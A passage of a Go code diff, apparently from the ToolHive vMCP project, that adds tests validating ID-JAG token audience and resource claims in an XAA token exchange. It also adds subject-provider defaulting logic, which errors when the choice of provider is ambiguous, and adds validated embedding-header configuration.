expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange rejects ID-JAG with wrong aud (string)", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", "https://wrong.example.com", testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange rejects ID-JAG with wrong aud (array)", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + []string{"https://wrong.example.com", "https://other.example.com"}, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange rejects ID-JAG with multi-element aud array", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + []string{testTargetAudience, "https://extra.example.com"}, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange accepts ID-JAG with aud as single-element array", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + []string{testTargetAudience}, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + // resource claim validation (draft §3.1: resource is OPTIONAL, validated + // when one was requested). + { + name: "IdP exchange rejects ID-JAG with wrong resource", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, "https://wrong.example.com") + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "resource"}, + }, + { + name: "IdP exchange rejects ID-JAG with missing resource when requested", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + // resource omitted (empty string) while config requests one. + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, "") + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "resource"}, + }, + { + name: "IdP exchange accepts ID-JAG with resource as array containing TargetResource", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + testTargetAudience, []string{testTargetResource}) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + { + name: "IdP exchange accepts ID-JAG with resource array containing a non-string element", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + testTargetAudience, []interface{}{float64(123), testTargetResource}) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + { + name: "IdP exchange rejects ID-JAG with resource array containing only a non-string element", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + testTargetAudience, []interface{}{float64(123)}) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "resource"}, + }, + // resource check skipped when TargetResource is not configured + // (wantResource == "" early-return branch in validateIDJAGClaims). + { + name: "IdP exchange accepts ID-JAG when TargetResource is not configured", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, nil) + // TargetResource is unset, so the exchange request carries no + // resource parameter; use an IdP mock that does not assert it. + idpServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + t.Helper() + assert.Equal(t, http.MethodPost, r.Method) + require.NoError(t, r.ParseForm()) + assert.Equal(t, oauthproto.GrantTypeTokenExchange, r.Form.Get("grant_type")) + assert.Equal(t, "user-id-token-jwt", r.Form.Get("subject_token")) + assert.Equal(t, oauthproto.TokenTypeIDJAG, r.Form.Get("requested_token_type")) + assert.NotEmpty(t, r.Form.Get("audience"), "audience must be set") + assert.Empty(t, r.Form.Get("resource"), "resource must be absent when not configured") + + w.Header().Set("Content-Type", "application/json") + require.NoError(t, json.NewEncoder(w).Encode(map[string]any{ + "access_token": idJAG, + "token_type": "N_A", + "issued_token_type": oauthproto.TokenTypeIDJAG, + "expires_in": 300, + })) + })) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { + return createXAAStrategy(func(cfg *authtypes.XAAConfig) { + cfg.IDPTokenURL = idpURL + cfg.TargetTokenURL = targetURL + cfg.TargetAudience = testTargetAudience + // TargetResource intentionally omitted. + cfg.SubjectProviderName = testProviderGitHub + }) + }, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + // parse failure: a non-JWT assertion cannot be a valid ID-JAG. + { + name: "IdP exchange rejects non-JWT assertion", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idpServer := createXAAIdPServer(t, "user-id-token-jwt", "not-a-jwt") + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "not a valid JWT"}, + }, } for _, tt := range tests { @@ -876,23 +1165,64 @@ func TestXAAStrategy_Authenticate(t *testing.T) { } } -// buildJWTWithTypHeader signs a minimal JWT with the given typ header value using -// a throwaway RSA key. The token is not intended to be verified — it exists only -// to exercise the header-parsing path in performStepA. -func buildJWTWithTypHeader(t *testing.T, typ string) string { +// testJWTSigningKey is a throwaway RSA key shared by every buildIDJAGJWT call +// in this file. Tokens built with it are only ever consumed via +// ParseUnverified (signature never checked), so a single package-level key +// avoids generating a fresh RSA-2048 key per test case. +var testJWTSigningKey = func() *rsa.PrivateKey { + key, err := rsa.GenerateKey(rand.Reader, 2048) + if err != nil { + panic(err) + } + return key +}() + +// buildIDJAGJWT signs a JWT with the given typ header, aud claim, and resource +// claim using testJWTSigningKey. aud and resource may each be a string, +// []string (to exercise the array form), or []interface{} (to exercise +// heterogeneous arrays); a nil or empty string omits the claim. The token is +// not intended to be verified — it exists to exercise the claim-validation +// path in performIDPExchange. +func buildIDJAGJWT(t *testing.T, typ string, aud, resource any) string { t.Helper() - key, err := rsa.GenerateKey(rand.Reader, 2048) - require.NoError(t, err) + claims := jwt.MapClaims{"sub": "test"} + setClaim(t, claims, "aud", aud) + setClaim(t, claims, "resource", resource) - token := jwt.NewWithClaims(jwt.SigningMethodRS256, jwt.MapClaims{"sub": "test"}) + token := jwt.NewWithClaims(jwt.SigningMethodRS256, claims) token.Header["typ"] = typ - signed, err := token.SignedString(key) + signed, err := token.SignedString(testJWTSigningKey) require.NoError(t, err) return signed } +// setClaim sets a string-or-array claim on a MapClaims, omitting it when v is +// nil or an empty string. []string is marshalled as a JSON array (decoded back +// by golang-jwt as []interface{}, exercising the array branch of +// claimContainsString). []interface{} is set directly, allowing heterogeneous +// arrays (e.g. mixing strings with non-string elements) to exercise the +// type-guard in claimContainsString's array branch. +func setClaim(t *testing.T, claims jwt.MapClaims, key string, v any) { + t.Helper() + switch c := v.(type) { + case nil: + // omit + case string: + if c == "" { + return + } + claims[key] = c + case []string: + claims[key] = c + case []interface{}: + claims[key] = c + default: + t.Fatalf("unsupported %s type %T", key, v) + } +} + func TestXAAStrategy_ClientSecretEnv(t *testing.T) { t.Parallel() diff --git a/pkg/vmcp/auth/types/defaults.go b/pkg/vmcp/auth/types/defaults.go new file mode 100644 index 0000000000..3f25411816 --- /dev/null +++ b/pkg/vmcp/auth/types/defaults.go @@ -0,0 +1,71 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package types + +import "errors" + +// ErrAmbiguousSubjectProvider is returned when an xaa strategy's +// SubjectProviderName is empty and more than one upstream is configured, so +// the first-upstream default would be ambiguous. +var ErrAmbiguousSubjectProvider = errors.New( + "SubjectProviderName must be set explicitly for xaa when more than one upstream is configured") + +// DefaultSubjectProviderName defaults strategy's SubjectProviderName to +// providerName for token_exchange, aws_sts, and xaa strategies whose field is +// empty, returning a deep copy with the field defaulted; the caller's +// strategy is never mutated. +// +// All three strategies share the same wrong-subject risk: picking the wrong +// upstream token via SubjectProviderName is equally security-relevant for +// each. Only xaa hard-errors on ambiguity (when hasMultipleUpstreams is true +// and SubjectProviderName is empty, it returns ErrAmbiguousSubjectProvider +// instead of defaulting), because xaa has no existing deployments to break, +// so there is no compatibility cost. token_exchange and aws_sts keep +// defaulting silently, since hard-erroring those would be a breaking change +// requiring a deprecation path (see issue #5697). +// +// Strategies that are nil, of a different type, missing their per-type +// sub-config, or that already have SubjectProviderName set are returned +// unchanged via the original pointer. +func DefaultSubjectProviderName( + strategy *BackendAuthStrategy, + providerName string, + hasMultipleUpstreams bool, +) (*BackendAuthStrategy, error) { + if strategy == nil { + return nil, nil + } + + switch strategy.Type { + case StrategyTypeTokenExchange: + if strategy.TokenExchange == nil || strategy.TokenExchange.SubjectProviderName != "" { + return strategy, nil + } + copied := strategy.DeepCopy() + copied.TokenExchange.SubjectProviderName = providerName + return copied, nil + + case StrategyTypeAwsSts: + if strategy.AwsSts == nil || strategy.AwsSts.SubjectProviderName != "" { + return strategy, nil + } + copied := strategy.DeepCopy() + copied.AwsSts.SubjectProviderName = providerName + return copied, nil + + case StrategyTypeXAA: + if strategy.XAA == nil || strategy.XAA.SubjectProviderName != "" { + return strategy, nil + } + if hasMultipleUpstreams { + return nil, ErrAmbiguousSubjectProvider + } + copied := strategy.DeepCopy() + copied.XAA.SubjectProviderName = providerName + return copied, nil + + default: + return strategy, nil + } +} diff --git a/pkg/vmcp/auth/types/defaults_test.go b/pkg/vmcp/auth/types/defaults_test.go new file mode 100644 index 0000000000..9e536c1a82 --- /dev/null +++ b/pkg/vmcp/auth/types/defaults_test.go @@ -0,0 +1,211 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package types + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestDefaultSubjectProviderName(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + strategy *BackendAuthStrategy + providerName string + hasMultipleUpstreams bool + wantErr error + wantSame bool // expect result pointer identical to input strategy + checkResult func(t *testing.T, result *BackendAuthStrategy) + }{ + { + name: "nil strategy returns nil unchanged", + strategy: nil, + wantSame: false, // nil == nil, assert.Same doesn't apply; checked separately + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Nil(t, result) + }, + }, + { + name: "token_exchange nil sub-config returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeTokenExchange, + }, + providerName: "upstream1", + wantSame: true, + }, + { + name: "aws_sts nil sub-config returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeAwsSts, + }, + providerName: "upstream1", + wantSame: true, + }, + { + name: "xaa nil sub-config returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + }, + providerName: "upstream1", + wantSame: true, + }, + { + name: "token_exchange already-set not overridden", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeTokenExchange, + TokenExchange: &TokenExchangeConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.TokenExchange.SubjectProviderName) + }, + }, + { + name: "aws_sts already-set not overridden", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeAwsSts, + AwsSts: &AwsStsConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.AwsSts.SubjectProviderName) + }, + }, + { + name: "xaa already-set not overridden", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.XAA.SubjectProviderName) + }, + }, + { + name: "token_exchange empty gets defaulted", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeTokenExchange, + TokenExchange: &TokenExchangeConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: false, + wantSame: false, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "upstream1", result.TokenExchange.SubjectProviderName) + }, + }, + { + name: "aws_sts empty gets defaulted", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeAwsSts, + AwsSts: &AwsStsConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: false, + wantSame: false, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "upstream1", result.AwsSts.SubjectProviderName) + }, + }, + { + name: "xaa empty gets defaulted with single upstream", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: false, + wantSame: false, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "upstream1", result.XAA.SubjectProviderName) + }, + }, + { + name: "xaa ambiguous with multiple upstreams returns error", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: true, + wantErr: ErrAmbiguousSubjectProvider, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Nil(t, result) + }, + }, + { + name: "xaa already-set with multiple upstreams is not an error", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + hasMultipleUpstreams: true, + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.XAA.SubjectProviderName) + }, + }, + { + name: "non-applicable strategy type returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeHeaderInjection, + HeaderInjection: &HeaderInjectionConfig{HeaderName: "Authorization"}, + }, + providerName: "upstream1", + wantSame: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + result, err := DefaultSubjectProviderName(tt.strategy, tt.providerName, tt.hasMultipleUpstreams) + + if tt.wantErr != nil { + require.ErrorIs(t, err, tt.wantErr) + if tt.checkResult != nil { + tt.checkResult(t, result) + } + return + } + + require.NoError(t, err) + if tt.strategy == nil { + if tt.checkResult != nil { + tt.checkResult(t, result) + } + return + } + + if tt.wantSame { + assert.Same(t, tt.strategy, result) + } else { + assert.NotSame(t, tt.strategy, result) + } + + if tt.checkResult != nil { + tt.checkResult(t, result) + } + }) + } +} diff --git a/pkg/vmcp/auth/types/types.go b/pkg/vmcp/auth/types/types.go index 2f8c3f2452..9c9ec80176 100644 --- a/pkg/vmcp/auth/types/types.go +++ b/pkg/vmcp/auth/types/types.go @@ -272,26 +272,26 @@ type AwsStsConfig struct { // XAAConfig configures the XAA (Cross-Application Access) auth strategy. // XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) as a // two-step flow: -// - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT -// - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token +// - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT +// - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token // // +kubebuilder:object:generate=true // +gendoc type XAAConfig struct { - // IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + // IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693 exchange). IDPTokenURL string `json:"idpTokenUrl" yaml:"idpTokenUrl"` - // IDPClientID is the OAuth client ID at the IdP for Step A. + // IDPClientID is the OAuth client ID at the IdP for IdP exchange. IDPClientID string `json:"idpClientId,omitempty" yaml:"idpClientId,omitempty"` - // IDPClientSecret is the client secret at the IdP for Step A. + // IDPClientSecret is the client secret at the IdP for IdP exchange. //nolint:gosec // G101: field legitimately holds sensitive data IDPClientSecret string `json:"idpClientSecret,omitempty" yaml:"idpClientSecret,omitempty"` // IDPClientSecretEnv is the env var containing the IdP client secret. IDPClientSecretEnv string `json:"idpClientSecretEnv,omitempty" yaml:"idpClientSecretEnv,omitempty"` - // TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). + // TargetTokenURL is the target AS token endpoint for target grant (JWT Bearer grant). TargetTokenURL string `json:"targetTokenUrl" yaml:"targetTokenUrl"` // InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. @@ -299,10 +299,10 @@ type XAAConfig struct { // development/testing endpoints — never in production. InsecureTargetTokenURL bool `json:"insecureTargetTokenUrl,omitempty" yaml:"insecureTargetTokenUrl,omitempty"` - // TargetClientID is the OAuth client ID at the target AS for Step B. + // TargetClientID is the OAuth client ID at the target AS for target grant. TargetClientID string `json:"targetClientId,omitempty" yaml:"targetClientId,omitempty"` - // TargetClientSecret is the client secret at the target AS for Step B. + // TargetClientSecret is the client secret at the target AS for target grant. //nolint:gosec // G101: field legitimately holds sensitive data TargetClientSecret string `json:"targetClientSecret,omitempty" yaml:"targetClientSecret,omitempty"` @@ -313,16 +313,22 @@ type XAAConfig struct { TargetAudience string `json:"targetAudience" yaml:"targetAudience"` // TargetResource is the RFC 8707 resource indicator sent as the `resource` - // parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + // parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It // identifies the target resource server — not the access-token audience, which // is governed by TargetAudience. For MCP backends, set to the MCP server URL. TargetResource string `json:"targetResource,omitempty" yaml:"targetResource,omitempty"` - // Scopes are the requested scopes for Steps A and B. + // Scopes are the requested scopes for IdP exchange and target grant. // +listType=atomic Scopes []string `json:"scopes,omitempty" yaml:"scopes,omitempty"` // SubjectProviderName selects which upstream provider's ID token to use. // Auto-populated when embedded AS is active. SubjectProviderName string `json:"subjectProviderName,omitempty" yaml:"subjectProviderName,omitempty"` + + // SubjectTokenType is the token-type URN of the upstream subject token + // used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + // urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + // to allow future expansion to SAML upstreams without an API break. + SubjectTokenType string `json:"subjectTokenType,omitempty" yaml:"subjectTokenType,omitempty"` } diff --git a/pkg/vmcp/cli/serve.go b/pkg/vmcp/cli/serve.go index e4efb0d8c1..a0f6bd99ca 100644 --- a/pkg/vmcp/cli/serve.go +++ b/pkg/vmcp/cli/serve.go @@ -154,9 +154,11 @@ func Serve(ctx context.Context, cfg ServeConfig) error { } } - // Auto-populate SubjectProviderName on any token_exchange strategy that + // Auto-populate SubjectProviderName on backend auth strategies that // omitted it when an embedded auth server is active. - config.InjectSubjectProviderNames(vmcpCfg, authServerRC) + if err := config.InjectSubjectProviderNames(vmcpCfg, authServerRC); err != nil { + return fmt.Errorf("failed to default outgoing auth subject provider names: %w", err) + } // Construct embedded authorization server if configured. var embeddedAuthServer *authserverrunner.EmbeddedAuthServer @@ -352,8 +354,8 @@ func Serve(ctx context.Context, cfg ServeConfig) error { sessionFactory := vmcpsession.NewSessionFactory(outgoingRegistry, vmcpsession.WithBackendInitTimeout(backendInitTimeoutFromConfig(vmcpCfg))) - // When the optimizer is enabled, its meta-tools must pass through the authz - // response filter so they appear in tools/list. + // When the optimizer is enabled, its meta-tools are pass-through tools. + // Authz uses this for optimizer-aware authorization/filtering. var passThroughTools map[string]struct{} if optCfg != nil { passThroughTools = map[string]struct{}{ @@ -391,19 +393,19 @@ func Serve(ctx context.Context, cfg ServeConfig) error { slog.Info(fmt.Sprintf("Incoming authentication configured: %s", vmcpCfg.IncomingAuth.Type)) namespace := vmcpNamespace() - rateLimitMiddleware, rateLimitCleanup, err := ratelimitfactory.NewMiddleware(ctx, ratelimitfactory.Config{ + rateLimiter, rateLimitCleanup, err := ratelimitfactory.NewLimiter(ctx, ratelimitfactory.Config{ Namespace: namespace, ServerName: vmcpCfg.Name, RateLimiting: vmcpCfg.RateLimiting, SessionStorage: vmcpCfg.SessionStorage, }) if err != nil { - return fmt.Errorf("failed to create rate limit middleware: %w", err) + return fmt.Errorf("failed to create rate limiter: %w", err) } if rateLimitCleanup != nil { defer func() { if closeErr := rateLimitCleanup(context.Background()); closeErr != nil { - slog.Error(fmt.Sprintf("failed to close rate limit middleware: %v", closeErr)) + slog.Error(fmt.Sprintf("failed to close rate limiter: %v", closeErr)) } }() } @@ -425,7 +427,7 @@ func Serve(ctx context.Context, cfg ServeConfig) error { AuthzMiddleware: authzMiddleware, AuthInfoHandler: authInfoHandler, PassthroughHeaders: vmcpCfg.PassthroughHeaders, - RateLimitMiddleware: rateLimitMiddleware, + RateLimiter: rateLimiter, AuthServer: embeddedAuthServer, TelemetryProvider: telemetryProvider, AuditConfig: vmcpCfg.Audit, diff --git a/pkg/vmcp/config/config.go b/pkg/vmcp/config/config.go index 40f3356430..4590b244ca 100644 --- a/pkg/vmcp/config/config.go +++ b/pkg/vmcp/config/config.go @@ -48,6 +48,7 @@ var StaticModeAllowedTransports = []string{TransportSSE, TransportStreamableHTTP // Duration is a wrapper around time.Duration that marshals/unmarshals as a duration string. // This ensures duration values are serialized as "30s", "1m", etc. instead of nanosecond integers. +// +gendoc // +kubebuilder:validation:Type=string // +kubebuilder:validation:Pattern=`^([0-9]+(\.[0-9]+)?(ns|us|µs|ms|s|m|h))+$` type Duration time.Duration @@ -923,8 +924,13 @@ type OutputProperty struct { // OptimizerConfig configures the MCP optimizer. // When enabled, vMCP exposes only find_tool and call_tool operations to clients // instead of all backend tools directly. +// // +kubebuilder:object:generate=true +// +kubebuilder:validation:XValidation:rule="!has(self.embeddingHeaders) || (has(self.embeddingProvider) && self.embeddingProvider == 'openai')",message="embeddingHeaders is only supported when embeddingProvider is 'openai'" +// +kubebuilder:validation:XValidation:rule=`!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, k.matches('^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$') && !(k.lowerAscii() in ['authorization', 'content-type']))`,message="embeddingHeaders names must be valid HTTP header names and must not include Authorization or Content-Type" // +gendoc +// +//nolint:lll // CEL validation rules exceed line length limit type OptimizerConfig struct { // EmbeddingService is the full base URL of the embedding service endpoint // (e.g., http://my-embedding.default.svc.cluster.local:8080) for semantic @@ -974,6 +980,14 @@ type OptimizerConfig struct { // +optional EmbeddingModel string `json:"embeddingModel,omitempty" yaml:"embeddingModel,omitempty"` + // EmbeddingHeaders holds additional HTTP headers sent with every embedding + // request. Only supported when EmbeddingProvider is "openai". Values are + // stored in plain text and must not contain secrets; Authorization + // (derived from OPENAI_API_KEY) and Content-Type cannot be set. + // +kubebuilder:validation:MaxProperties=32 + // +optional + EmbeddingHeaders map[string]EmbeddingHeaderValue `json:"embeddingHeaders,omitempty" yaml:"embeddingHeaders,omitempty"` + // MaxToolsToReturn is the maximum number of tool results returned by a search query. // Defaults to 8 if not specified or zero. // +kubebuilder:validation:Minimum=1 @@ -1000,6 +1014,13 @@ type OptimizerConfig struct { SemanticDistanceThreshold string `json:"semanticDistanceThreshold,omitempty" yaml:"semanticDistanceThreshold,omitempty"` } +// EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 +// characters with no control characters other than tab. +// +kubebuilder:validation:MinLength=1 +// +kubebuilder:validation:MaxLength=8192 +// +kubebuilder:validation:Pattern=`^[^\x00-\x08\x0A-\x1F\x7F]*$` +type EmbeddingHeaderValue string + // CodeModeConfig configures vMCP code mode (the execute_tool_script virtual tool). // When enabled, agents can submit a Starlark script that calls multiple backend tools // server-side — with loops, conditionals, and parallel() fan-out — and receive a single diff --git a/pkg/vmcp/config/defaults.go b/pkg/vmcp/config/defaults.go index dd03ff6251..647b6c4337 100644 --- a/pkg/vmcp/config/defaults.go +++ b/pkg/vmcp/config/defaults.go @@ -5,6 +5,7 @@ package config import ( + "fmt" "time" "dario.cat/mergo" @@ -89,52 +90,47 @@ func (c *Config) EnsureOperationalDefaults() { } // InjectSubjectProviderNames auto-populates SubjectProviderName on every -// token_exchange or xaa strategy in cfg.OutgoingAuth that has it unset, -// when an embedded auth server RunConfig is active. +// token_exchange, aws_sts, or xaa strategy in cfg.OutgoingAuth that has it +// unset, when an embedded auth server RunConfig is active. // // This is a defaulting operation: it ensures YAML-based vMCP deployments // behave the same as the Kubernetes operator path. Without it a token_exchange // strategy with no SubjectProviderName would silently fall back to // identity.Token (the ToolHive-issued JWT), which the exchange endpoint rejects. // -// When cfg or rc is nil the call is a no-op. The provider name is resolved from -// the first upstream in rc.Upstreams (normalised via authserver.ResolveUpstreamName); -// if there are no upstreams it falls back to authserver.DefaultUpstreamName. -func InjectSubjectProviderNames(cfg *Config, rc *authserver.RunConfig) { +// When cfg or rc is nil the call is a no-op. The provider name is derived via +// authserver.ResolveFirstUpstreamName over rc.Upstreams. For xaa, if more than +// one upstream is configured and SubjectProviderName is empty, defaulting is +// ambiguous and this returns an error wrapping +// authtypes.ErrAmbiguousSubjectProvider instead of silently defaulting; +// processing stops at the first error. Strategy structs are replaced via +// copy-then-assign rather than mutated in place, but cfg.OutgoingAuth itself +// is still updated by this call. +func InjectSubjectProviderNames(cfg *Config, rc *authserver.RunConfig) error { if cfg == nil || rc == nil || cfg.OutgoingAuth == nil { - return + return nil } - providerName := func() string { - if len(rc.Upstreams) > 0 { - return authserver.ResolveUpstreamName(rc.Upstreams[0].Name) - } - return authserver.DefaultUpstreamName - }() - - injectIntoStrategy(cfg.OutgoingAuth.Default, providerName) - for _, strategy := range cfg.OutgoingAuth.Backends { - injectIntoStrategy(strategy, providerName) + names := make([]string, len(rc.Upstreams)) + for i, u := range rc.Upstreams { + names[i] = u.Name } -} + providerName := authserver.ResolveFirstUpstreamName(names) + hasMultipleUpstreams := len(names) > 1 -// injectIntoStrategy sets SubjectProviderName on token_exchange and xaa -// strategies when the field is empty. It mutates the strategy in place because -// the OutgoingAuth maps hold pointers that are already owned by cfg. -func injectIntoStrategy(strategy *authtypes.BackendAuthStrategy, providerName string) { - if strategy == nil { - return + defaulted, err := authtypes.DefaultSubjectProviderName(cfg.OutgoingAuth.Default, providerName, hasMultipleUpstreams) + if err != nil { + return fmt.Errorf("default backend: %w", err) } + 